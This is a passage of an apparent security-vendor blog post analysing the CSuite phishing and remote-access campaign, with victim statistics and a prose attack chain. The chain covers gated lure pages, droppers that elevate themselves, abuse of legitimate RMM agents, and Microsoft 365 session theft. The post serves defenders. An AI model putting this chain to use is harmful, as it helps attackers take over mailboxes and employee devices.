{"id":23219,"date":"2026-09-22T11:16:00","date_gmt":"2026-09-22T11:16:00","guid":{"rendered":"https:\/\/any.run\/cybersecurity-blog\/?p=23219"},"modified":"2026-09-22T11:24:24","modified_gmt":"2026-09-22T11:24:24","slug":"csuite-attack-analysis","status":"publish","type":"post","link":"https:\/\/any.run\/cybersecurity-blog\/csuite-attack-analysis\/","title":{"rendered":"CSuite Targets US and EU Organizations with Device-Code Phishing and Remote Access"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/any.run\/?utm_source=anyrunblog&amp;utm_medium=article&amp;utm_campaign=csuite-attack-analysis&amp;utm_term=220926&amp;utm_content=linktolanding\" target=\"_blank\" rel=\"noreferrer noopener\">ANY.RUN<\/a> researchers investigated <strong>CSuite<\/strong>, a phishing and remote-access operation that combines credential theft, Microsoft 365 session hijacking, and the abuse of legitimate management tools. The campaign showed a strong US focus, with <strong>60% of identified victim organizations based in the United States<\/strong>. <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">By blending trusted business services with legitimate remote-access software, CSuite can give attackers both account and endpoint access while making malicious activity harder to distinguish from normal workflows. <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Discover how the operation works, which tools and techniques it relies on, and what SOC teams should watch to detect related activity earlier. <\/p>\n\n\n\n<h2 class=\"wp-block-heading\">TL;DR <\/h2>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>CSuite is a multi-stage phishing and remote-access operation targeting organizations across the US and Europe.<\/strong> Its campaigns use Adobe, DocuSign, Zoom, SharePoint, Microsoft 365 voicemail, and other trusted business themes to reach victims. <\/li>\n\n\n\n<li><strong>The operation follows two main attack paths.<\/strong> One delivers legitimate remote-management and endpoint-management tools such as ScreenConnect, Action1, Atera, Syncro, and PDQ Connect. The other steals credentials and Microsoft 365 sessions through phishing and device-code authentication flows. <\/li>\n\n\n\n<li><strong>US organizations make up the largest identified share.<\/strong> 60% of identified victim organizations were US-based, while 51% of sandbox submissions came from the United States. <\/li>\n\n\n\n<li><strong>The campaign shows a significant scale.<\/strong> ANY.RUN identified 351 related sandbox analyses across 170 hosts, while the CSuite panel contained 216 unique Chameleon victims, 29 captured Microsoft 365 sessions, 1,593 lure documents, and 15,955 harvested email addresses. <\/li>\n\n\n\n<li><strong>CSuite relies heavily on legitimate services and software.<\/strong> Hijacked Adobe Document Cloud tenants, Cloudflare Workers, public code hosting, and legitimate management tools help the operation blend malicious activity with normal business infrastructure. <\/li>\n\n\n\n<li><strong>The strongest link between the campaigns is shared tooling and infrastructure.<\/strong> Delivery pages, phishing panels, domains, operator accounts, and exfiltration channels connect the remote-access and credential-theft activity to the same CSuite operation. <\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">CSuite Threat Overview <\/h2>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"707\" src=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-Campaign-in-Brief-1024x707.png\" alt=\"CSuite campaign in brief\" class=\"wp-image-23224\" style=\"aspect-ratio:1.4483929196863972;width:738px;height:auto\" srcset=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-Campaign-in-Brief-1024x707.png 1024w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-Campaign-in-Brief-300x207.png 300w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-Campaign-in-Brief-768x530.png 768w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-Campaign-in-Brief-1536x1060.png 1536w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-Campaign-in-Brief-2048x1413.png 2048w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-Campaign-in-Brief-370x255.png 370w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-Campaign-in-Brief-270x186.png 270w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-Campaign-in-Brief-435x300.png 435w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-Campaign-in-Brief-740x511.png 740w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\"><em>CSuite campaign in brief<\/em> <\/figcaption><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">CSuite creates risk on both the identity and endpoint sides of the environment. A single campaign can lead to stolen Microsoft 365 access, compromised mailboxes, or direct remote control of employee devices. <\/p>\n\n\n\n<div class=\"wpdt-c row wpDataTableContainerSimpleTable wpDataTables wpDataTablesWrapper\n\"\n    >\n        <table id=\"wpdtSimpleTable-391\"\n           style=\"border-collapse:collapse;\n                   border-spacing:0px;\"\n           class=\"wpdtSimpleTable wpDataTable\"\n           data-column=\"2\"\n           data-rows=\"9\"\n           data-wpID=\"391\"\n           data-responsive=\"0\"\n           data-has-header=\"1\">\n\n                    <thead>        <tr class=\"wpdt-cell-row \" >\n                                <th class=\"wpdt-cell \"\n                                            data-cell-id=\"A1\"\n                    data-col-index=\"0\"\n                    data-row-index=\"0\"\n                    style=\" width:50%;                    padding:10px;\n                    \"\n                    >\n                                        Attribute\u00a0                    <\/th>\n                                                <th class=\"wpdt-cell \"\n                                            data-cell-id=\"B1\"\n                    data-col-index=\"1\"\n                    data-row-index=\"0\"\n                    style=\" width:50%;                    padding:10px;\n                    \"\n                    >\n                                        Detail\u00a0                    <\/th>\n                                        <\/tr>\n                    <tbody>        <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A2\"\n                    data-col-index=\"0\"\n                    data-row-index=\"1\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Tracking name\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B2\"\n                    data-col-index=\"1\"\n                    data-row-index=\"1\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        CSuite, after the\u00a0CSuite\u00a0v1.1 panel at the\u00a0centre\u00a0of the operation\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A3\"\n                    data-col-index=\"0\"\n                    data-row-index=\"2\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Structure\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B3\"\n                    data-col-index=\"1\"\n                    data-row-index=\"2\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Infrastructure supplier with affiliates; the supplier hands out hosting, remote-desktop access and domains in private messaging channels, and each affiliate runs its own exfiltration endpoint\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A4\"\n                    data-col-index=\"0\"\n                    data-row-index=\"3\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Motivation\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B4\"\n                    data-col-index=\"1\"\n                    data-row-index=\"3\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Financial. Credential theft feeding manual mailbox access and business email compromise\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A5\"\n                    data-col-index=\"0\"\n                    data-row-index=\"4\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Primary targets\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B5\"\n                    data-col-index=\"1\"\n                    data-row-index=\"4\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Managed service providers, technology firms, government and administration, consulting, manufacturing, education and mortgage licensees, concentrated in the United States\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A6\"\n                    data-col-index=\"0\"\n                    data-row-index=\"5\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Delivery\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B6\"\n                    data-col-index=\"1\"\n                    data-row-index=\"5\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Adobe-themed download pages, plus\u00a0DocuSign, Zoom, Google Meet and Dropbox lure lines\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A7\"\n                    data-col-index=\"0\"\n                    data-row-index=\"6\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Payloads\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B7\"\n                    data-col-index=\"1\"\n                    data-row-index=\"6\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Legitimate remote-management and device-management agents deployed as RATs \u2014\u00a0ScreenConnect, Action1, Atera,\u00a0Syncro, PDQ Connect renamed to Adobe, Dotloop,\u00a0DocuSign\u00a0and others\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A8\"\n                    data-col-index=\"0\"\n                    data-row-index=\"7\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Capture tooling\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B8\"\n                    data-col-index=\"1\"\n                    data-row-index=\"7\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        CSuite\u00a0v1.1 phishing panel with 23 modules, a\u00a0GSuitepanel, a per-affiliate worker view, an address validator, Cloudflare Worker proxies and a PHP\u00a0cloaker\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A9\"\n                    data-col-index=\"0\"\n                    data-row-index=\"8\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Observed period\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B9\"\n                    data-col-index=\"1\"\n                    data-row-index=\"8\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        February 2026 to 3 September 2026; the kit path was still appearing in fresh sandbox analyses on the last day of collection\u00a0                    <\/td>\n                                        <\/tr>\n                    <\/table>\n<\/div><style id='wpdt-custom-style-391'>\ntable#wpdtSimpleTable-391{ table-layout: fixed !important; }\ntable#wpdtSimpleTable-391 td, table.wpdtSimpleTable391 th { white-space: normal !important; }\n<\/style>\n\n\n\n\n<p class=\"wp-block-paragraph\">With the following <a href=\"https:\/\/any.run\/threat-intelligence-lookup\/?utm_source=anyrunblog&amp;utm_medium=article&amp;utm_campaign=csuite-attack-analysis&amp;utm_term=220926&amp;utm_content=linktotilookuplanding\" target=\"_blank\" rel=\"noreferrer noopener\">Threat Intelligence Lookup<\/a> query, we can search through recent public <a href=\"https:\/\/any.run\/features\/?utm_source=anyrunblog&amp;utm_medium=article&amp;utm_campaign=csuite-attack-analysis&amp;utm_term=220926&amp;utm_content=linktosandboxlanding\" target=\"_blank\" rel=\"noreferrer noopener\">sandbox analyses<\/a> and identify this malicious activity. <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">TI Lookup: <a href=\"https:\/\/intelligence.any.run\/analysis\/lookup?utm_source=anyrunblog&amp;utm_medium=article&amp;utm_campaign=csuite-attack-analysis&amp;utm_term=220926&amp;utm_content=linktotilookup#{%22query%22:%22url:%5C%22\/m\/js\/utils.js$%5C%22%22,%22dateRange%22:180}\" target=\"_blank\" rel=\"noreferrer noopener\">url:&#8221;\/m\/js\/utils.js$&#8221;<\/a> <\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"622\" src=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-TI-lookup-query-1024x622.png\" alt=\"ANY.RUN's Threat Intelligence gives full context into suspicious activity\" class=\"wp-image-23285\" srcset=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-TI-lookup-query-1024x622.png 1024w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-TI-lookup-query-300x182.png 300w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-TI-lookup-query-768x466.png 768w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-TI-lookup-query-1536x933.png 1536w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-TI-lookup-query-370x225.png 370w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-TI-lookup-query-270x164.png 270w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-TI-lookup-query-740x449.png 740w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-TI-lookup-query.png 1744w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\"><em>ANY.RUN&#8217;s Threat Intelligence gives full context into suspicious activity<\/em><\/figcaption><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">Every page in the set uses the same build, with its own reporting endpoint and a byte-identical visitor alert template: <em>New Visitor Alert &#8211; MSI Page<\/em>. The earliest sample dates to 6 March 2026, and the feeds were still active on 3 September 2026. <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The two attack arms were linked through an operator mistake. On 7 August 2026, the same sender shared credentials for a hosting control panel and, three hours later, a remote-desktop host used to administer the CSuite v1.1 panel, registrar, and Cloudflare account. Both were sent to the same recipient, tying the delivery and capture infrastructure to the same operation. <\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Business impact can include:<\/strong> <\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Identity compromise:<\/strong> Stolen credentials and sessions can give attackers access to Microsoft 365 accounts and mailboxes. <\/li>\n\n\n\n<li><strong>Remote system access:<\/strong> Legitimate management tools can be abused to gain persistent access to employee devices. <\/li>\n\n\n\n<li><strong>Fraud and impersonation risk:<\/strong> Compromised mailboxes can support invoice fraud, payment redirection, and follow-on phishing. <\/li>\n\n\n\n<li><strong>Wider operational exposure:<\/strong> Access to both identities and endpoints can expand the scope of an incident across systems and workflows. <\/li>\n\n\n\n<li><strong>Higher response costs:<\/strong> Teams may need to contain compromised accounts, revoke sessions, remove remote-access tools, and investigate affected hosts. <\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Important note: The research and statistics were based solely on the CSuite administrator panel. Each operator has their own panel.<\/em> <\/p>\n\n\n\n<!-- Regular Banner START -->\n<div class=\"regular-banner\">\n<!-- Text Content -->\n<p class=\"regular-banner__text\">\n<span class=\"highlight\">Turn Faster Triage Into Lower Risk.\n<\/span> \n<br>\nReduce investigation delays and contain emerging threats sooner.\n<\/p>\n<!-- CTA Link -->\n<a class=\"regular-banner__link\" id=\"article-banner-regular\" href=\"https:\/\/any.run\/enterprise\/?utm_source=anyrunblog&#038;utm_medium=article&#038;utm_campaign=csuite-attack-analysis&#038;utm_term=220926&#038;utm_content=linktoenterprise#contact-sales\" rel=\"noopener\" target=\"_blank\">\nStrengthen Your SOC<\/a>\n<\/div>\n<!-- Regular Banner END -->\n<!-- Regular Banner Styles START -->\n\n<style>\n.regular-banner {\ndisplay: flex;\ntext-align: center;\nflex-direction: column;\nalign-items: center;\ngap: 1.5rem;\nwidth: 100%;\npadding: 2rem;\nmargin: 1.5rem 0;\nborder-radius: 0.5rem;\nfont-family: 'Catamaran Bold';\nmargin-inline: auto;\nbackground: rgba(32, 168, 241, 0.1);\nborder: 1px solid rgba(75, 174, 227, 0.32);\n}\n\n.regular-banner__text {\nfont-size: 1.5rem;\nmargin: 0;\n}\n\n.highlight {\ncolor: #ea2526;\n}\n\n.regular-banner__link {\npadding: 0.5rem 1.5rem;\nfont-weight: 500;\ntext-decoration: none;\nborder-radius: 0.5rem;\ncolor: #FFFFFF;\nbackground-color: #1491D4;\ntext-align: center;\ntransition: all 0.2s ease-in;\n}\n\n.regular-banner__link:hover {\nbackground-color: #68CBFF;\ncolor: white;\n}\n<\/style>\n<!-- Regular Banner Styles END -->\n\n\n\n<h2 class=\"wp-block-heading\">Where CSuite Hits Hardest: Sectors, Regions, and Compromise Scale <\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">CSuite activity spans multiple industries and regions, but the data shows a clear concentration around US and EU organizations that rely heavily on Microsoft 365, remote administration, and business email workflows. <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The operation also shows a significant scale across both its delivery and account-compromise arms, with hundreds of related sandbox analyses, captured Microsoft 365 sessions, and thousands of harvested email addresses. <\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Technology, Manufacturing and Government Show the Highest Exposure <\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">CSuite activity spans several industries, with the highest exposure observed among technology, manufacturing, government and administration, and consulting organizations. <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">20 organizations were identified individually across the capture panel and manually accessed mailboxes. Non-profits and associations made up the largest group, including smaller organizations with Microsoft 365 environments, limited security resources, and active payment workflows. <\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"538\" src=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/Identified-CSuite-Victim-Organizations-by-Sector-1024x538.png\" alt=\"Identified CSuite Victim Organizations by Sector\" class=\"wp-image-23228\" srcset=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/Identified-CSuite-Victim-Organizations-by-Sector-1024x538.png 1024w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/Identified-CSuite-Victim-Organizations-by-Sector-300x158.png 300w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/Identified-CSuite-Victim-Organizations-by-Sector-768x403.png 768w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/Identified-CSuite-Victim-Organizations-by-Sector-1536x806.png 1536w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/Identified-CSuite-Victim-Organizations-by-Sector-2048x1075.png 2048w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/Identified-CSuite-Victim-Organizations-by-Sector-370x194.png 370w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/Identified-CSuite-Victim-Organizations-by-Sector-270x142.png 270w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/Identified-CSuite-Victim-Organizations-by-Sector-740x389.png 740w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\"><em>Identified victim organizations by sector<\/em><\/figcaption><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">These shares overlap because a single analysis can carry more than one industry tag. Still, the pattern shows that CSuite is reaching organizations where access to corporate mailboxes, endpoints, and remote-management infrastructure can create broader operational risk. <\/p>\n\n\n\n<h2 class=\"wp-block-heading\">CSuite Activity Is Concentrated in the US but Extends Globally <\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">The United States accounted for 51% of related <a href=\"https:\/\/any.run\/features\/?utm_source=anyrunblog&amp;utm_medium=article&amp;utm_campaign=csuite-attack-analysis&amp;utm_term=220926&amp;utm_content=linktosandboxlanding\" target=\"_blank\" rel=\"noreferrer noopener\">sandbox submissions<\/a>, followed by India at 18%. Activity was also observed in the Philippines, Australia, the United Kingdom, Canada, and 29 other countries. <\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"768\" src=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/Submissions-by-Country-1024x768.png\" alt=\"Sandbox submissions by country\" class=\"wp-image-23229\" srcset=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/Submissions-by-Country-1024x768.png 1024w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/Submissions-by-Country-300x225.png 300w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/Submissions-by-Country-768x576.png 768w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/Submissions-by-Country-1536x1152.png 1536w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/Submissions-by-Country-2048x1536.png 2048w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/Submissions-by-Country-370x278.png 370w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/Submissions-by-Country-270x203.png 270w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/Submissions-by-Country-740x555.png 740w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/Submissions-by-Country-80x60.png 80w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\"><em>ANY.RUN Sandbox submissions by country<\/em><\/figcaption><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">Victim data points in the same direction: 60% of identified victim organizations were US-based. However, sandbox submissions reflect where activity was investigated, so they should not be treated as a direct measure of victim geography. <\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"768\" src=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/Identified-CSuite-Victim-Organizations-by-Country-1024x768.png\" alt=\"Identified CSuite Victim Organizations by Country\" class=\"wp-image-23227\" srcset=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/Identified-CSuite-Victim-Organizations-by-Country-1024x768.png 1024w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/Identified-CSuite-Victim-Organizations-by-Country-300x225.png 300w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/Identified-CSuite-Victim-Organizations-by-Country-768x576.png 768w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/Identified-CSuite-Victim-Organizations-by-Country-1536x1152.png 1536w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/Identified-CSuite-Victim-Organizations-by-Country-2048x1536.png 2048w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/Identified-CSuite-Victim-Organizations-by-Country-370x278.png 370w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/Identified-CSuite-Victim-Organizations-by-Country-270x203.png 270w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/Identified-CSuite-Victim-Organizations-by-Country-740x555.png 740w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/Identified-CSuite-Victim-Organizations-by-Country-80x60.png 80w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\"><em>Identified victim organizations by country<\/em><\/figcaption><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">The United States concentration covers a county government with three compromised mailboxes, two school districts in Texas, a public library, a regional YMCA, a faith organisation, an energy loan fund, a housing charity and a manufacturer of industrial supplies. The European entries are a French architecture practice, an Italian industrial firm, a French consultancy and a Portuguese medical practitioner. One panel session is tagged for active hands-on work at any given time, so the operators run a small queue and work it in order. <\/p>\n\n\n\n<h2 class=\"wp-block-heading\">CSuite Attack Chain <\/h2>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"649\" src=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-Attack-Chain-1-1024x649.png\" alt=\"The attack chain of CSuite campaign\" class=\"wp-image-23223\" srcset=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-Attack-Chain-1-1024x649.png 1024w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-Attack-Chain-1-300x190.png 300w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-Attack-Chain-1-768x486.png 768w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-Attack-Chain-1-1536x973.png 1536w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-Attack-Chain-1-2048x1297.png 2048w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-Attack-Chain-1-370x234.png 370w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-Attack-Chain-1-270x171.png 270w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-Attack-Chain-1-740x469.png 740w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\"><em>The attack chain of CSuite campaign<\/em><\/figcaption><\/figure>\n<\/div>\n\n\n<ol start=\"1\" class=\"wp-block-list\">\n<li><strong>Lure<\/strong>: The victim gets a document to review. It arrives as an Adobe Document Cloud share invitation sent from a mailbox the group already controls, or as ordinary mail from one of its two sending relays.  <\/li>\n<\/ol>\n\n\n\n<ol start=\"2\" class=\"wp-block-list\">\n<li><strong>Gate<\/strong>: The first host the victim touches is a redirector. It runs an anti-bot check, then reads the mail domain the victim typed and routes accordingly: Microsoft accounts one way, Google accounts another, everything else to a generic harvester.  <\/li>\n<\/ol>\n\n\n\n<ol start=\"3\" class=\"wp-block-list\">\n<li><strong>Landing page<\/strong>: The victim lands on a counterfeit document viewer \u2014 Adobe Reader, DocuSign, Zoom or Dropbox depending on the line. The page reports the visit back to the affiliate, blocks the shortcuts an inquisitive user would reach for, and shows a document that never finishes loading. <\/li>\n<\/ol>\n\n\n\n<ol start=\"4\" class=\"wp-block-list\">\n<li><strong>Handover<\/strong>: The payload reaches the download folder. On the Adobe pages a script click starts it the moment the page opens; on the DocuSign line a button does it, and the server streams the file as an attachment. What arrives is an archive, an installer, or a batch or VBS script a few lines long that fetches the installer once it runs. <\/li>\n<\/ol>\n\n\n\n<ol start=\"5\" class=\"wp-block-list\">\n<li><strong>Execution<\/strong>: The victim opens the file. Instructions on the page frame it as a viewer or an update, and the file asks for elevation. The script droppers self-elevate through PowerShell and then call msiexec on the agent package. <\/li>\n<\/ol>\n\n\n\n<ol start=\"6\" class=\"wp-block-list\">\n<li><strong>Host held<\/strong>: A legitimate management agent lands on the machine \u2014 a remote-management client, or in newer builds an endpoint-management agent that enrols the device into a tenant the operator owns. Installation captures the interactive logon, loads into the authentication path at boot, and survives safe mode. <\/li>\n<\/ol>\n\n\n\n<ol start=\"7\" class=\"wp-block-list\">\n<li><strong>Account held<\/strong>: Victims who take the credential branch instead hand over their password and a live session to the panel, which keeps the session alive and hands the operator a mailbox that needs no second factor. <\/li>\n<\/ol>\n\n\n\n<!-- Regular Banner START -->\n<div class=\"regular-banner\">\n<!-- Text Content -->\n<p class=\"regular-banner__text\">\n<span class=\"highlight\">Connect every stage of the attack.\n<\/span> \n<br>\nHelp analysts move from first signal to confident decisions. \n<\/p>\n<!-- CTA Link -->\n<a class=\"regular-banner__link\" id=\"article-banner-regular\" href=\"https:\/\/any.run\/enterprise\/?utm_source=anyrunblog&amp;utm_medium=article&amp;utm_campaign=csuite-attack-analysis&amp;utm_term=220926&amp;utm_content=linktoenterprise#contact-sales\" rel=\"noopener\" target=\"_blank\">\nStrengthen Incident Response<\/a>\n<\/div>\n<!-- Regular Banner END -->\n<!-- Regular Banner Styles START -->\n\n<style>\n.regular-banner {\ndisplay: flex;\ntext-align: center;\nflex-direction: column;\nalign-items: center;\ngap: 1.5rem;\nwidth: 100%;\npadding: 2rem;\nmargin: 1.5rem 0;\nborder-radius: 0.5rem;\nfont-family: 'Catamaran Bold';\nmargin-inline: auto;\nbackground: rgba(32, 168, 241, 0.1);\nborder: 1px solid rgba(75, 174, 227, 0.32);\n}\n\n.regular-banner__text {\nfont-size: 1.5rem;\nmargin: 0;\n}\n\n.highlight {\ncolor: #ea2526;\n}\n\n.regular-banner__link {\npadding: 0.5rem 1.5rem;\nfont-weight: 500;\ntext-decoration: none;\nborder-radius: 0.5rem;\ncolor: #FFFFFF;\nbackground-color: #1491D4;\ntext-align: center;\ntransition: all 0.2s ease-in;\n}\n\n.regular-banner__link:hover {\nbackground-color: #68CBFF;\ncolor: white;\n}\n<\/style>\n<!-- Regular Banner Styles END -->\n\n\n\n<h2 class=\"wp-block-heading\">Breakdown of the CSuite Attack <\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Here is a thorough breakdown of the CSuite attack: <\/p>\n\n\n\n<h3 class=\"wp-block-heading\">The Lure Page: a Counterfeit Adobe reader that 